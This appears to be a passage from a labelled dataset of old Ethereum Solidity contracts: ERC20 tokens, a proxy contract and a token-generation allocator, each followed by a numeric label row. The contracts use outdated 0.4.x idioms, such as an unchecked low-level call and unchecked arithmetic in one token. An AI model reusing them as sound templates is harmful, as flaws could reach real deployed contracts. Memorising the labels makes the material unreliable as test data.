allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 3,708 |
pragma solidity ^0.4.18;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract NZToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function NZToken() public {
symbol = "NZ";
name = "New Zone";
decimals = 12;
_totalSupply = 5000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,658 |
pragma solidity ^0.4.18;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function ERC20Token(
) {
decimals = 18;
totalSupply = 1000000000 * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
name = "Cultural art resources information chain";
symbol = "CARK";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 5,308 |
pragma solidity 0.4.15;
contract RegistryICAPInterface {
function parse(bytes32 _icap) constant returns(address, bytes32, bool);
function institutions(bytes32 _institution) constant returns(address);
}
contract EToken2Interface {
function registryICAP() constant returns(RegistryICAPInterface);
function baseUnit(bytes32 _symbol) constant returns(uint8);
function description(bytes32 _symbol) constant returns(string);
function owner(bytes32 _symbol) constant returns(address);
function isOwner(address _owner, bytes32 _symbol) constant returns(bool);
function totalSupply(bytes32 _symbol) constant returns(uint);
function balanceOf(address _holder, bytes32 _symbol) constant returns(uint);
function isLocked(bytes32 _symbol) constant returns(bool);
function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) returns(bool);
function reissueAsset(bytes32 _symbol, uint _value) returns(bool);
function revokeAsset(bytes32 _symbol, uint _value) returns(bool);
function setProxy(address _address, bytes32 _symbol) returns(bool);
function lockAsset(bytes32 _symbol) returns(bool);
function proxyTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) returns(bool);
function allowance(address _from, address _spender, bytes32 _symbol) constant returns(uint);
function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) returns(bool);
}
contract AssetInterface {
function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performApprove(address _spender, uint _value, address _sender) returns(bool);
function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function _performGeneric(bytes, address) payable {
revert();
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function totalSupply() constant returns(uint256 supply);
function balanceOf(address _owner) constant returns(uint256 balance);
function transfer(address _to, uint256 _value) returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) returns(bool success);
function approve(address _spender, uint256 _value) returns(bool success);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function decimals() constant returns(uint8);
}
contract AssetProxyInterface {
function _forwardApprove(address _spender, uint _value, address _sender) returns(bool);
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool);
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool);
function balanceOf(address _owner) constant returns(uint);
}
contract Bytes32 {
function _bytes32(string _input) internal constant returns(bytes32 result) {
assembly {
result := mload(add(_input, 32))
}
}
}
contract ReturnData {
function _returnReturnData(bool _success) internal {
assembly {
let returndatastart := msize()
mstore(0x40, add(returndatastart, returndatasize))
returndatacopy(returndatastart, 0, returndatasize)
switch _success case 0 { revert(returndatastart, returndatasize) } default { return(returndatastart, returndatasize) }
}
}
function _assemblyCall(address _destination, uint _value, bytes _data) internal returns(bool success) {
assembly {
success := call(div(mul(gas, 63), 64), _destination, _value, add(_data, 32), mload(_data), 0, 0)
}
}
}
contract Zichain is ERC20Interface, AssetProxyInterface, Bytes32, ReturnData {
EToken2Interface public etoken2;
bytes32 public etoken2Symbol;
string public name;
string public symbol;
function init(EToken2Interface _etoken2, string _symbol, string _name) returns(bool) {
if (address(etoken2) != 0x0) {
return false;
}
etoken2 = _etoken2;
etoken2Symbol = _bytes32(_symbol);
name = _name;
symbol = _symbol;
return true;
}
modifier onlyEToken2() {
if (msg.sender == address(etoken2)) {
_;
}
}
modifier onlyAssetOwner() {
if (etoken2.isOwner(msg.sender, etoken2Symbol)) {
_;
}
}
function _getAsset() internal returns(AssetInterface) {
return AssetInterface(getVersionFor(msg.sender));
}
function recoverTokens(uint _value) onlyAssetOwner() returns(bool) {
return this.transferWithReference(msg.sender, _value, 'Tokens recovery');
}
function totalSupply() constant returns(uint) {
return etoken2.totalSupply(etoken2Symbol);
}
function balanceOf(address _owner) constant returns(uint) {
return etoken2.balanceOf(_owner, etoken2Symbol);
}
function allowance(address _from, address _spender) constant returns(uint) {
return etoken2.allowance(_from, _spender, etoken2Symbol);
}
function decimals() constant returns(uint8) {
return etoken2.baseUnit(etoken2Symbol);
}
function transfer(address _to, uint _value) returns(bool) {
return transferWithReference(_to, _value, '');
}
function transferWithReference(address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferWithReference(_to, _value, _reference, msg.sender);
}
function transferToICAP(bytes32 _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferToICAPWithReference(_icap, _value, _reference, msg.sender);
}
function transferFrom(address _from, address _to, uint _value) returns(bool) {
return transferFromWithReference(_from, _to, _value, '');
}
function transferFromWithReference(address _from, address _to, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromWithReference(_from, _to, _value, _reference, msg.sender);
}
function _forwardTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromWithReference(_from, _to, _value, etoken2Symbol, _reference, _sender);
}
function transferFromToICAP(address _from, bytes32 _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference) returns(bool) {
return _getAsset()._performTransferFromToICAPWithReference(_from, _icap, _value, _reference, msg.sender);
}
function _forwardTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyTransferFromToICAPWithReference(_from, _icap, _value, _reference, _sender);
}
function approve(address _spender, uint _value) returns(bool) {
return _getAsset()._performApprove(_spender, _value, msg.sender);
}
function _forwardApprove(address _spender, uint _value, address _sender) onlyImplementationFor(_sender) returns(bool) {
return etoken2.proxyApprove(_spender, _value, etoken2Symbol, _sender);
}
function emitTransfer(address _from, address _to, uint _value) onlyEToken2() {
Transfer(_from, _to, _value);
}
function emitApprove(address _from, address _spender, uint _value) onlyEToken2() {
Approval(_from, _spender, _value);
}
function () payable {
_getAsset()._performGeneric.value(msg.value)(msg.data, msg.sender);
_returnReturnData(true);
}
function transferToICAP(string _icap, uint _value) returns(bool) {
return transferToICAPWithReference(_icap, _value, '');
}
function transferToICAPWithReference(string _icap, uint _value, string _reference) returns(bool) {
return transferToICAPWithReference(_bytes32(_icap), _value, _reference);
}
function transferFromToICAP(address _from, string _icap, uint _value) returns(bool) {
return transferFromToICAPWithReference(_from, _icap, _value, '');
}
function transferFromToICAPWithReference(address _from, string _icap, uint _value, string _reference) returns(bool) {
return transferFromToICAPWithReference(_from, _bytes32(_icap), _value, _reference);
}
event UpgradeProposed(address newVersion);
event UpgradePurged(address newVersion);
event UpgradeCommited(address newVersion);
event OptedOut(address sender, address version);
event OptedIn(address sender, address version);
address latestVersion;
address pendingVersion;
uint pendingVersionTimestamp;
uint constant UPGRADE_FREEZE_TIME = 3 days;
mapping(address => address) userOptOutVersion;
modifier onlyImplementationFor(address _sender) {
if (getVersionFor(_sender) == msg.sender) {
_;
}
}
function getVersionFor(address _sender) constant returns(address) {
return userOptOutVersion[_sender] == 0 ? latestVersion : userOptOutVersion[_sender];
}
function getLatestVersion() constant returns(address) {
return latestVersion;
}
function getPendingVersion() constant returns(address) {
return pendingVersion;
}
function getPendingVersionTimestamp() constant returns(uint) {
return pendingVersionTimestamp;
}
function proposeUpgrade(address _newVersion) onlyAssetOwner() returns(bool) {
if (pendingVersion != 0x0) {
return false;
}
if (_newVersion == 0x0) {
return false;
}
if (latestVersion == 0x0) {
latestVersion = _newVersion;
return true;
}
pendingVersion = _newVersion;
pendingVersionTimestamp = now;
UpgradeProposed(_newVersion);
return true;
}
function purgeUpgrade() onlyAssetOwner() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
UpgradePurged(pendingVersion);
delete pendingVersion;
delete pendingVersionTimestamp;
return true;
}
function commitUpgrade() returns(bool) {
if (pendingVersion == 0x0) {
return false;
}
if (pendingVersionTimestamp + UPGRADE_FREEZE_TIME > now) {
return false;
}
latestVersion = pendingVersion;
delete pendingVersion;
delete pendingVersionTimestamp;
UpgradeCommited(latestVersion);
return true;
}
function optOut() returns(bool) {
if (userOptOutVersion[msg.sender] != 0x0) {
return false;
}
userOptOutVersion[msg.sender] = latestVersion;
OptedOut(msg.sender, latestVersion);
return true;
}
function optIn() returns(bool) {
delete userOptOutVersion[msg.sender];
OptedIn(msg.sender, latestVersion);
return true;
}
function multiAsset() constant returns(EToken2Interface) {
return etoken2;
}
} | 1 | 4,947 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(
address _from,
uint256 _value,
bytes _data
)
external
pure
{
_from;
_value;
_data;
revert();
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address _contractAddr) external onlyOwner {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract Authorizable is Ownable {
mapping (address => bool) public authorized;
event Authorize(address indexed who);
event UnAuthorize(address indexed who);
modifier onlyAuthorized() {
require(msg.sender == owner || authorized[msg.sender], "Not Authorized.");
_;
}
function authorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(!authorized[_who], "Already authorized");
authorized[_who] = true;
emit Authorize(_who);
}
function unAuthorize(address _who) public onlyOwner {
require(_who != address(0), "Address can't be zero.");
require(authorized[_who], "Address is not authorized");
authorized[_who] = false;
emit UnAuthorize(_who);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HoldersToken is StandardToken {
using SafeMath for uint256;
address[] public holders;
mapping (address => uint256) public holderNumber;
function holdersCount() public view returns (uint256) {
return holders.length;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_preserveHolders(msg.sender, _to, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
_preserveHolders(_from, _to, _value);
return super.transferFrom(_from, _to, _value);
}
function _removeHolder(address _holder) internal {
uint256 _number = holderNumber[_holder];
if (_number == 0 || holders.length == 0 || _number > holders.length)
return;
uint256 _index = _number.sub(1);
uint256 _lastIndex = holders.length.sub(1);
address _lastHolder = holders[_lastIndex];
if (_index != _lastIndex) {
holders[_index] = _lastHolder;
holderNumber[_lastHolder] = _number;
}
holderNumber[_holder] = 0;
holders.length = _lastIndex;
}
function _addHolder(address _holder) internal {
if (holderNumber[_holder] == 0) {
holders.push(_holder);
holderNumber[_holder] = holders.length;
}
}
function _preserveHolders(address _from, address _to, uint256 _value) internal {
_addHolder(_to);
if (balanceOf(_from).sub(_value) == 0)
_removeHolder(_from);
}
}
contract PlatinTGE {
using SafeMath for uint256;
uint8 public constant decimals = 18;
uint256 public constant TOTAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant SALES_SUPPLY = 300000000 * (10 ** uint256(decimals));
uint256 public constant MINING_POOL_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_AND_EMPLOYEES_SUPPLY = 200000000 * (10 ** uint256(decimals));
uint256 public constant AIRDROPS_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant RESERVES_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals));
uint256 public constant ADVISORS_POOL_SUPPLY = 70000000 * (10 ** uint256(decimals));
uint256 public constant ECOSYSTEM_POOL_SUPPLY = 30000000 * (10 ** uint256(decimals));
address public PRE_ICO_POOL;
address public LIQUID_POOL;
address public ICO;
address public MINING_POOL;
address public FOUNDERS_POOL;
address public EMPLOYEES_POOL;
address public AIRDROPS_POOL;
address public RESERVES_POOL;
address public ADVISORS_POOL;
address public ECOSYSTEM_POOL;
uint256 public constant PRE_ICO_POOL_AMOUNT = 20000000 * (10 ** uint256(decimals));
uint256 public constant LIQUID_POOL_AMOUNT = 100000000 * (10 ** uint256(decimals));
uint256 public constant ICO_AMOUNT = 180000000 * (10 ** uint256(decimals));
uint256 public constant FOUNDERS_POOL_AMOUNT = 190000000 * (10 ** uint256(decimals));
uint256 public constant EMPLOYEES_POOL_AMOUNT = 10000000 * (10 ** uint256(decimals));
address public UNSOLD_RESERVE;
uint256 public constant ICO_LOCKUP_PERIOD = 182 days;
uint256 public constant TOKEN_RATE = 1000;
uint256 public constant TOKEN_RATE_LOCKUP = 1200;
uint256 public constant MIN_PURCHASE_AMOUNT = 1 ether;
PlatinToken public token;
uint256 public tgeTime;
constructor(
uint256 _tgeTime,
PlatinToken _token,
address _preIcoPool,
address _liquidPool,
address _ico,
address _miningPool,
address _foundersPool,
address _employeesPool,
address _airdropsPool,
address _reservesPool,
address _advisorsPool,
address _ecosystemPool,
address _unsoldReserve
) public {
require(_tgeTime >= block.timestamp, "TGE time should be >= current time.");
require(_token != address(0), "Token address can't be zero.");
require(_preIcoPool != address(0), "PreICO Pool address can't be zero.");
require(_liquidPool != address(0), "Liquid Pool address can't be zero.");
require(_ico != address(0), "ICO address can't be zero.");
require(_miningPool != address(0), "Mining Pool address can't be zero.");
require(_foundersPool != address(0), "Founders Pool address can't be zero.");
require(_employeesPool != address(0), "Employees Pool address can't be zero.");
require(_airdropsPool != address(0), "Airdrops Pool address can't be zero.");
require(_reservesPool != address(0), "Reserves Pool address can't be zero.");
require(_advisorsPool != address(0), "Advisors Pool address can't be zero.");
require(_ecosystemPool != address(0), "Ecosystem Pool address can't be zero.");
require(_unsoldReserve != address(0), "Unsold reserve address can't be zero.");
tgeTime = _tgeTime;
token = _token;
PRE_ICO_POOL = _preIcoPool;
LIQUID_POOL = _liquidPool;
ICO = _ico;
MINING_POOL = _miningPool;
FOUNDERS_POOL = _foundersPool;
EMPLOYEES_POOL = _employeesPool;
AIRDROPS_POOL = _airdropsPool;
RESERVES_POOL = _reservesPool;
ADVISORS_POOL = _advisorsPool;
ECOSYSTEM_POOL = _ecosystemPool;
UNSOLD_RESERVE = _unsoldReserve;
}
function allocate() public {
require(block.timestamp >= tgeTime, "Should be called just after tge time.");
require(token.totalSupply() == 0, "Allocation is already done.");
token.allocate(PRE_ICO_POOL, PRE_ICO_POOL_AMOUNT);
token.allocate(LIQUID_POOL, LIQUID_POOL_AMOUNT);
token.allocate(ICO, ICO_AMOUNT);
token.allocate(MINING_POOL, MINING_POOL_SUPPLY);
token.allocate(FOUNDERS_POOL, FOUNDERS_POOL_AMOUNT);
token.allocate(EMPLOYEES_POOL, EMPLOYEES_POOL_AMOUNT);
token.allocate(AIRDROPS_POOL, AIRDROPS_POOL_SUPPLY);
token.allocate(RESERVES_POOL, RESERVES_POOL_SUPPLY);
token.allocate(ADVISORS_POOL, ADVISORS_POOL_SUPPLY);
token.allocate(ECOSYSTEM_POOL, ECOSYSTEM_POOL_SUPPLY);
require(token.totalSupply() == TOTAL_SUPPLY, "Total supply check error.");
}
}
contract PlatinToken is HoldersToken, NoOwner, Authorizable, Pausable {
using SafeMath for uint256;
string public constant name = "Platin Token";
string public constant symbol = "PTNX";
uint8 public constant decimals = 18;
struct Lockup {
uint256 release;
uint256 amount;
}
mapping (address => Lockup[]) public lockups;
mapping (address => mapping (address => Lockup[])) public refundable;
mapping (address => mapping (address => mapping (uint256 => uint256))) public indexes;
PlatinTGE public tge;
event Allocate(address indexed to, uint256 amount);
event SetLockups(address indexed to, uint256 amount, uint256 fromIdx, uint256 toIdx);
event Refund(address indexed from, address indexed to, uint256 amount);
modifier spotTransfer(address _from, uint256 _value) {
require(_value <= balanceSpot(_from), "Attempt to transfer more than balance spot.");
_;
}
modifier onlyTGE() {
require(msg.sender == address(tge), "Only TGE method.");
_;
}
function setTGE(PlatinTGE _tge) external onlyOwner {
require(tge == address(0), "TGE is already set.");
require(_tge != address(0), "TGE address can't be zero.");
tge = _tge;
authorize(_tge);
}
function allocate(address _to, uint256 _amount) external onlyTGE {
require(_to != address(0), "Allocate To address can't be zero");
require(_amount > 0, "Allocate amount should be > 0.");
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
_addHolder(_to);
require(totalSupply_ <= tge.TOTAL_SUPPLY(), "Can't allocate more than TOTAL SUPPLY.");
emit Allocate(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function transfer(address _to, uint256 _value) public whenNotPaused spotTransfer(msg.sender, _value) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused spotTransfer(_from, _value) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function transferWithLockup(
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transfer(_to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function transferFromWithLockup(
address _from,
address _to,
uint256 _value,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable
)
public onlyAuthorized returns (bool)
{
transferFrom(_from, _to, _value);
_lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable);
}
function refundLockedUp(
address _from
)
public onlyAuthorized returns (uint256)
{
address _sender = msg.sender;
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_from][_sender].length;
if (_refundableLength > 0) {
uint256 _lockupIdx;
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_from][_sender][i].release > block.timestamp) {
_balanceRefundable = _balanceRefundable.add(refundable[_from][_sender][i].amount);
refundable[_from][_sender][i].release = 0;
refundable[_from][_sender][i].amount = 0;
_lockupIdx = indexes[_from][_sender][i];
lockups[_from][_lockupIdx].release = 0;
lockups[_from][_lockupIdx].amount = 0;
}
}
if (_balanceRefundable > 0) {
_preserveHolders(_from, _sender, _balanceRefundable);
balances[_from] = balances[_from].sub(_balanceRefundable);
balances[_sender] = balances[_sender].add(_balanceRefundable);
emit Refund(_from, _sender, _balanceRefundable);
emit Transfer(_from, _sender, _balanceRefundable);
}
}
return _balanceRefundable;
}
function lockupsCount(address _who) public view returns (uint256) {
return lockups[_who].length;
}
function hasLockups(address _who) public view returns (bool) {
return lockups[_who].length > 0;
}
function balanceLockedUp(address _who) public view returns (uint256) {
uint256 _balanceLokedUp = 0;
uint256 _lockupsLength = lockups[_who].length;
for (uint256 i = 0; i < _lockupsLength; i++) {
if (lockups[_who][i].release > block.timestamp)
_balanceLokedUp = _balanceLokedUp.add(lockups[_who][i].amount);
}
return _balanceLokedUp;
}
function balanceRefundable(address _who, address _sender) public view returns (uint256) {
uint256 _balanceRefundable = 0;
uint256 _refundableLength = refundable[_who][_sender].length;
if (_refundableLength > 0) {
for (uint256 i = 0; i < _refundableLength; i++) {
if (refundable[_who][_sender][i].release > block.timestamp)
_balanceRefundable = _balanceRefundable.add(refundable[_who][_sender][i].amount);
}
}
return _balanceRefundable;
}
function balanceSpot(address _who) public view returns (uint256) {
uint256 _balanceSpot = balanceOf(_who);
_balanceSpot = _balanceSpot.sub(balanceLockedUp(_who));
return _balanceSpot;
}
function _lockup(
address _who,
uint256 _amount,
uint256[] _lockupReleases,
uint256[] _lockupAmounts,
bool _refundable)
internal
{
require(_lockupReleases.length == _lockupAmounts.length, "Length of lockup releases and amounts lists should be equal.");
require(_lockupReleases.length.add(lockups[_who].length) <= 1000, "Can't be more than 1000 lockups per address.");
if (_lockupReleases.length > 0) {
uint256 _balanceLokedUp = 0;
address _sender = msg.sender;
uint256 _fromIdx = lockups[_who].length;
uint256 _toIdx = _fromIdx + _lockupReleases.length - 1;
uint256 _lockupIdx;
uint256 _refundIdx;
for (uint256 i = 0; i < _lockupReleases.length; i++) {
if (_lockupReleases[i] > block.timestamp) {
lockups[_who].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_balanceLokedUp = _balanceLokedUp.add(_lockupAmounts[i]);
if (_refundable) {
refundable[_who][_sender].push(Lockup(_lockupReleases[i], _lockupAmounts[i]));
_lockupIdx = lockups[_who].length - 1;
_refundIdx = refundable[_who][_sender].length - 1;
indexes[_who][_sender][_refundIdx] = _lockupIdx;
}
}
}
require(_balanceLokedUp <= _amount, "Can't lockup more than transferred amount.");
emit SetLockups(_who, _amount, _fromIdx, _toIdx);
}
}
} | 1 | 5,455 |
pragma solidity ^0.4.18;
library SafeMath {
